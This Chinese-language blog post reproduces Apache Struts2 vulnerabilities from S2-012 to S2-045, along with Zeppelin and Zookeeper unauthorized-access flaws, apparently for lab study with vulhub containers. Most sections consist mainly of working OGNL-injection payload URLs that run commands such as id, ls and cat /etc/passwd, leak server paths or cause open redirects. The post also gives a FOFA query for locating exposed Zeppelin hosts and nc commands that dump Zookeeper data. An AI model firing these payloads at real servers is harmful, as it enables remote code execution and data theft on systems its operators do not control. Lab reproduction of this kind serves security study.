漏洞复现
环境搭建:
gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-012
docker-compose up -d
URL
:
http://<ip>:<port>/index.jsp
POC
:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
bp
抓包看回显。
Struts2 S2-013 URL和锚标记的includeParams属性中存在的远程命令执行漏洞 CVE-2013-1966
漏洞描述
S2-013 - Apache Struts 2 Wiki - Apache Software Foundation
struts
的标签中s:a
和s:url
都有一个includeParams
属性:
none : URL中不包含任何参数(默认)
get : 仅包含URL中的GET参数
all : 在URL中包含GET和POST参数
当includeParams=all
的时候,会将本次请求的GET
和POST
参数都放在URL
的GET
参数上。
本来urldecode
一下就能得到params
,但struts
给OGNL
解析,造成了任意代码执行。
影响版本
Struts 2.0.0 ~ 2.3.14
漏洞复现
POC
:
http://<ip>:<port>/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
Struts2 S2-014 强制参数包含在URL和锚标记中引入的漏洞允许远程命令执行、会话访问操作及XSS攻击 CVE-2013-1966 CVE-2013-2115
漏洞描述
S2-014 - Apache Struts 2 Wiki - Apache Software Foundation
Struts
中<s:url>
和<s:a>
标签都包含includeParams
属性,其值可设为none
、get
或all
,含义如下:
none : 链接不包含请求的任意参数值(默认)
get : 链接只包含GET请求中的参数和值
all : 链接包含GET和POST所有参数和值
包含特殊请求参数的请求可用来向堆栈注入任意OGNL
代码,被用于URL
或A标签
中的请求参数。当includeParams=all
时,会将本次请求的GET
和POST
参数都放在URL
的GET
参数上造成任意命令执行漏洞。
S2-014
是对S2-013
修复的加强,修复了S2-013
代码中忽略的${ognl_exp}
OGNL
表达式的方式。
影响版本
Struts 2.0.0 ~ 2.3.14.1
漏洞复现
POC
:
http://<ip>:<port>/link.action?a=${(#_memberAccess["allowStaticMethodAccess"]=true,#[email protected]@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#[email protected]@getResponse().getWriter(),#out.println(#d),#out.close())}
或
http://<ip>:<port>/link.action?a=${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
Struts2 S2-015 通配符匹配机制引入的漏洞或OGNL表达式的双重评估导致的远程命令执行漏洞 CVE-2013-2134 CVE-2013-2135
漏洞描述
S2-015 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2
允许在通配符的基础上定义动作映射,例:
<action name="*" class="example.ExampleSupport">
<result>/example/{1}.jsp</result>
</action>
如果一个请求不匹配任何已定义当作,则将被*
匹配,请求的动作名将用于被加载基于动作名的JSP
文件。
影响版本
Struts 2.0.0 ~ 2.3.14.2
漏洞复现
POC
:
http://<ip>:<port>/example/%25%7B1%2B1%7D.action
Message
为/2.jsp
。
%24%7B%23context%5B%27xwork%2EMethodAccessor%2EdenyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23%5FmemberAccess%2EgetClass%28%29%2EgetDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m%2EsetAccessible%28true%29%2C%23m%2Eset%28%23%5FmemberAccess%2Ctrue%29%2C%23q%3D%40org%2Eapache%2Ecommons%2Eio%2EIOUtils%40toString%28%40java%2Elang%2ERuntime%40getRuntime%28%29%2Eexec%28%27id%27%29%2EgetInputStream%28%29%29%2C%23q%7D%2Eaction
执行id
命令,Message
处为执行结果。
Struts2 S2-016 通过操作前缀action:
、redirect:
、redirectAction:
参数造成远程命令执行漏洞 CVE-2013-2251
漏洞描述
S2-016 - Apache Struts 2 Wiki - Apache Software Foundation
DefaultActionMapper
类支持以action:
、redirect:
、redirectAction:
作为导航或重定向前缀,但这些后缀后面同时可以跟OGNL
表达式,Struts2
并未对这些前缀做过滤,导致利用OGNL
表达式调用Java
静态方法执行任意系统命令。
简而言之就是:在对特殊URL
处理中,redirect
与redirecrAction
后跟上OGNL
表达式会被服务器执行。
影响版本
Struts 2.0.0 ~ 2.3.15
漏洞复现
POC
:
http://<ip>:<port>/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
执行了id
命令,结果回显在URL
。
redirect:%24%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%5b%5d%7b%27%6c%73%27%2c%27%2f%27%7d%29%29%2e%73%74%61%72%74%28%29%2c%23%62%3d%23%61%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%63%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%23%62%29%2c%23%64%3d%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%23%63%29%2c%23%65%3d%6e%65%77%20%63%68%61%72%5b%35%30%30%30%30%5d%2c%23%64%2e%72%65%61%64%28%23%65%29%2c%23%6d%61%74%74%3d%23%63%6f%6e%74%65%78%74%2e%67%65%74%28%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%64%69%73%70%61%74%63%68%65%72%2e%48%74%74%70%53%65%72%76%6c%65%74%52%65%73%70%6f%6e%73%65%27%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%70%72%69%6e%74%6c%6e%28%23%65%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%66%6c%75%73%68%28%29%2c%23%6d%61%74%74%2e%67%65%74%57%72%69%74%65%72%28%29%2e%63%6c%6f%73%65%28%29%7d
执行ls
命令,结果以文件返回。
爆路径EXP
:
http://<ip>:<port>/index.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
Struts2 S2-017 通过操作前缀redirect:
、redirectAction:
参数引入漏洞允许打开重定向 CVE-2013-2248
漏洞描述
S2-017 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2
的DeaultActionMapper
曾支持一种短路导航状态改变的方法,即在参数前加redirect:
、redirectAction:
,再加上想要跳转的目标表达式。本来这种机制的目的是方便把导航信息附加到表单中的按钮上,但可以很容易的用来重定向到任意位置。
影响版本
Struts 2.0.0 ~ 2.3.15
漏洞复现
POC
:
http://<ip>:<port>/showcase.action?redirect:http://oopsdc.tk/
http://<ip>:<oprt>/fileupload/upload.action?redirect:http://oopsdc.tk/
http://<ip>:<oprt>/modelDriven/modelDriven.action?redirectAction:http://oopsdc.tk/
Struts2 S2-018 访问控制漏洞
S2-018 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-019 默认情况下禁用动态方法调用 CVE-2016-0785
漏洞描述
S2-019 - Apache Struts 2 Wiki - Apache Software Foundation
S2-019漏洞利用条件极为严格:
特殊代码、value
值为空、可传参到value
、可控制name
代码执行过程大致为如下:
先尝试获取value
的值,若为空,则二次解释执行了name
,且在执行前给name
加上了%{}
,最终造成二次执行。
漏洞影响
Struts 2.0.0 ~ 2.3.24.1 (2.3.20.3除外)
漏洞复现
特殊代码如下:
<s:i18n name="%{#request.lan}">xxxxx</s:i18n>
<set var="%{#parameters.tang3}"/>
通过%{#}
的方式获取用户输入标签属性,导致代码执行。之后的修复方式为直接过滤%{}
形式的字符串OGNL
解析。
//core/src/main/java/org/apache/struts2/components/Component.java
protected Object findValue(String expr, Class toType) {
if (altSyntax() && toType == String.class) {
if (altSyntax() && toType == String.class) {
- return TextParserUtil.translateVariables('%', expr, stack);
+ if (ComponentUtils.containsExpression(expr)) {
+ return TextParserUtil.translateVariables('%', expr, stack);
+ } else {
+ return expr;
+ }
} else {} else {
expr = stripExpressionIfAlySyntax(expr);
expr = stripExpressionIfAlySyntax(expr);
//core/src/main/java/org/apache/struts2/components/Component.java
+ * @param expr to treat as an expression
* @return true if it is an expression
* @return true if it is an expression
*/ */
- public static boolean isExpression(Object value) {
+ public static boolean isExpression(String expr) {
- String expr = value.toString();
return expr.startsWith("%{") && expr.endsWith("}");
return expr.startsWith("%{") && expr.endsWith("}");
}
}
+ public static boolean containsExpression(String expr) {
+ return expr.contains("%{") && expr.endsWith("}");
+ }
以上述代码为例,修改后的代码处理掉了非%{
开头,}
结尾的字符串进行OGNL
解析的功能,举个例子:
bar%Ӑ+3}
,在修改之前的代码中2+3
会被作为OGNL
执行。而修改之后,这种形式就只会被当做字符串来返回。
审计方法就是查看是否存在以%{#}
方式获取用户输入变量赋值给标签属性的代码写法。
测试代码:
<%@page import="java.util.HashSet"%>
<%@page contentType="text/html;charset=UTF-8" language="java"%>
<%@taglib prefix="s" uri="/struts-tags"%>
<html>
<head>
<title>Test JSP Page</title>
</head>
<body>
<%request.setAttribute("a", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#[email protected]@getRuntime(),#a.exec('touch /tmp/th1s_1s_test'),new java.lang.String('");%>
<s:i18n name="%{#request.lan}">xxxxx</s:i18n>
</body>
</html>
URL
:
http://<ip>:<port>/index.jsp?a=1
生成tmp/th1s_1s_test
。
Struts2 S2-020 将Commons FileUpload升级到版本1.3.1(避免DoS攻击)并添加’class’以排除ParametersInterceptor中的params(避免ClassLoader操作)
S2-020 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-021 改进ParametersInterceptor和CookieInterceptor中被排除的参数,以避免ClassLoader操作
S2-021 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-022 在CookieInterceptor中扩展排除的params以避免操纵Struts的内部
S2-022 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-023 可预测令牌生成值
S2-023 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-024 错误的excludeParams覆盖DefaultExcludedPatternsChecker中的定义值
S2-024 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-025 调试模式和公开的JSP文件中的跨站点脚本漏洞
S2-025 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-026 特殊的可用于访问Struts内部的顶级对象
S2-026 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-027 TextParseUtil.translateVariables未过滤恶意OGNL表达式
S2-027 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-028 使用具有损坏的URLDecoder实现的JRE可能会导致基于Struts 2的Web应用程序中的XSS漏洞
S2-028 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-029 在标记属性中对原始用户输入进行评估时,强制双OGNL评估可能导致远程代码执行
S2-029 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-030 I18NInterceptor中可能的XSS漏洞
S2-030 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-031 XSLTResult解析任意样式表漏洞
S2-031 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-032 使用动态方法调试时,可通过前缀执行远程代码 CVE-2016-3081
漏洞描述
S2-032 - Apache Struts 2 Wiki - Apache Software Foundation
可使用mothod:Action
前缀调用声明为publicd
的函数,但在低版本中不会对name
方法值做OGNL
计算。
影响版本
Struts 2.3.20 ~ 2.3.28 (2.3.20.3、2.3.24.3除外)
漏洞复现
环境搭建:
gitclone https://github.com/vulhub/vulhub.git
cd vulhub/struts2/s2-012
docker-compose up -d
URL
:
http://<ip>:<port>/index.jsp
开启动态方法调用,使用?method:execute
方法调用execute
方法(struts2
默认的action
调用方法),在method
后加上要执行的OGNL
表达式即可执行任意代码。
POC
:
http://<ip>:<port>/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
http://<ip>:<port>/index.action?method:%23_memberAccess%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse()%2C%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D)%2C%23w%3D%23res.getWriter()%2C%23a%3Dnew%20java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.d%5B0%5D)%2C%23str%3D%23a.hasNext()%3F%23a.next()%3A%23parameters.dd%5B0%5D%2C%23w.print(%23str)%2C%23w.close()%2C%23request.toString&cmd=id&dd=%20&d=____A&encoding=UTF-8
回显id
命令结果。
Struts2 S2-033 开启动态调试且使用REST插件时可导致远程代码执行
漏洞描述
S2-033 - Apache Struts 2 Wiki - Apache Software Foundation
当开启动态调试并同时使用Struts2 REST Plugin
插件时,使用!
操作符调用动态方法可能执行OGNL
表达式,从而导致远程代码执行。
影响版本
Struts 2.3.20 ~ 2.3.28 (2.3.20.3、2.3.24.3除外)
漏洞复现
POC
:
%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23process%[email protected]@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%[email protected]@getResponse%28%29.getOutputStream%28%29%29%[email protected]@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=id
回显id
命令结果。
Struts2 S2-034 OGNL缓存中毒导致的DoS漏洞
S2-034 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-035 易出错的行动名称清理
S2-035 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-036 在标签属性对原始用户输入进行评估时,强制双OGNL评估可能导致远程代码执行漏洞(类似S2-029)
S2-036 - Apache Struts 2 Wiki - Apache Software Foundation
Struts2 S2-037 使用REST插件时可实现远程代码执行
漏洞描述
S2-037 - Apache Struts 2 Wiki - Apache Software Foundation
与S2-033
类似,S2-037
也是关于REST
插件导致method
变量被篡改造成的远程代码执行漏洞,S2-037
也是在DefaultApplicationInvocation.java
的invokeAction
方法中没有对methodName
参数进行校验,直接放到getValue
方法中,从而造成OGNL
表达式的注入。
影响版本
Struts 2.3.20 ~ 2.3.28.1(2.3.20.3、2.3.24.3除外)
漏洞复现
POC
:
/orders/4/%28%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=7556&command=id
回显id
命令执行结果。
Struts2 S2-045 基于Jakarta Multipart解析器执行文件上载时可能的远程执行代码
漏洞描述
S2-045 - Apache Struts 2 Wiki - Apache Software Foundation
Struts
使用的Jakarta
解析文件上传请求包不当,当攻击者构造恶意Content-Type
时,可能导致远程代码执行。
在default.properties
文件中,struts.multipart.parser
的值有两个选择,分别是jakarta
和pell
(原本也有第三种选择cos
)。其中,jakarta
解析器是Struts2
框架的标准组成部分,默认情况下被启动。
影响版本
Struts 2.3.5 ~ 2.3.31
Struts 2.5 ~ 2.5.10
Zeppelin 未授权任意命令执行漏洞
漏洞描述
Apache Zeppelin
存在未授权用户访问命令执行接口,导致容易用户可执行恶意命令获取服务器权限。
影响版本
Apache Zeppelin
漏洞复现
FOFA
:icon_hash="960250052"
含有漏洞的页面能够通过页面创建一个新的匿名用户,创建之后即可执行任意命令。
Zookeeper 未授权访问漏洞 CVE-2014-085
漏洞描述
默认安装配置好的Zookeeper
允许未授权访问,管理员未配置访问控制列表(ACL
),导致攻击者可以在默认开放的2181
端口下通过执行envi
命令获得大量敏感信息(系统名称、java
环境)导致任意用户可以在网络不受限的情况下进行未授权访问读取数据。
影响版本
Apache Zookeeper
复现思路
漏洞复现
Zookeeper
默认开放2181
端口,使用如下命令获取敏感信息:
echo envi | nc xxx.xxx.xxx.xxx 2181
1、stat:列出关于性能和连接的客户端的统计信息。
echo stat | ncat <ip> 2181
2、ruok:测试服务器是否运行在非错误状态。
echo ruok | ncat <ip> 2181
3、reqs:列出未完成的请求。
echo reqs | ncat <ip> 2181
4、envi:打印有关服务环境的详细信息。
echo envi | ncat <ip> 2181
5、dump:列出未完成的会话和临时节点。
echo dump | ncat <ip> 2181
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。